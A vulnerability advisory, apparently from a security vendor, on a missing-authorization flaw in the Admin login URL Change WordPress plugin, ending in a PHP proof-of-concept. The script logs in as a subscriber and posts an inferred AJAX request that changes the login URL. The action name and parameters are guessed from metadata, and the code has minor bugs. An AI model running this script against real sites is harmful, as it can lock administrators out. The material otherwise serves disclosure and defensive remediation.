Atomic Edge analysis of CVE-2026-24578 (metadata-based):
This vulnerability is a missing authorization flaw in the Admin login URL Change WordPress plugin, affecting versions up to and including 1.1.5. The flaw allows any authenticated user, including those with the low-privilege subscriber role, to perform an unauthorized administrative action. The CVSS score of 4.3 indicates a medium severity issue with low impact on confidentiality and availability, but a direct impact on integrity.
Atomic Edge research identifies the root cause as a missing capability check on a function. The CWE-862 classification confirms the plugin fails to verify if the current user has the required permissions before executing a sensitive operation. This analysis is inferred from the CWE and description, as no source code diff is available for confirmation. The vulnerable function is likely hooked into WordPress’s AJAX or admin-post handler system without implementing `current_user_can()` or a similar authorization check.
Exploitation requires an attacker to possess a valid subscriber-level WordPress account. The attacker would send a crafted HTTP POST request to a privileged plugin endpoint. Based on WordPress plugin patterns, the likely target is the WordPress AJAX handler at `/wp-admin/admin-ajax.php`. The `action` parameter would contain a hook specific to the plugin’s functionality, such as `admin_login_url_change_update_settings`. The payload would contain parameters that change the plugin’s configuration, like a new login URL slug or a toggle to enable the feature.
Remediation requires adding a proper capability check to the vulnerable function. The fix should verify the user has the `manage_options` capability, or a custom capability created by the plugin, before processing the request. The patched function must also include nonce verification for CSRF protection, though the primary flaw is the missing authorization. These remediation steps are standard for CWE-862 in the WordPress ecosystem.
Successful exploitation allows a low-privileged attacker to modify the plugin’s settings. For the Admin login URL Change plugin, this likely means an attacker could alter the custom WordPress login URL. This action could facilitate a denial-of-service condition by locking administrators out of the dashboard, or it could be part of a persistence mechanism in a broader attack chain. The vulnerability does not directly lead to remote code execution or data exfiltration.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24578 - Admin login URL Change <= 1.1.5 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24578.
* This script demonstrates unauthorized settings change by a subscriber user.
* Assumptions based on metadata:
* 1. The plugin exposes an AJAX action without a capability check.
* 2. The action name is derived from the plugin slug.
* 3. The endpoint accepts POST parameters to update settings.
* A valid WordPress subscriber cookie is required.
*/
$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
// Credentials for a low-privileged (subscriber) WordPress account
$username = 'attacker_subscriber';
$password = 'password123';
// Step 1: Authenticate and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt', // Save session cookies
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0
]);
$response = curl_exec($ch);
// Step 2: Send unauthorized AJAX request to modify plugin settings.
// The exact action and parameters are inferred from plugin functionality.
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'admin_login_url_change_update', // Inferred AJAX action
'new_login_slug' => 'hidden-backdoor', // Parameter to change login URL
'enable_custom_url' => '1'
]),
CURLOPT_HTTPHEADER => ['X-Requested-With: XMLHttpRequest']
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Step 3: Check for success indicators
if (strpos($ajax_response, 'success') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) === 200) {
echo "[+] Exploit likely successful. Login URL may be changed to 'hidden-backdoor'.n";
echo "[+] Response: " . htmlspecialchars(substr($ajax_response, 0, 500)) . "n";
} else {
echo "[-] Exploit may have failed. Check credentials and plugin activation.n";
}
unlink('cookies.txt'); // Clean up
?>
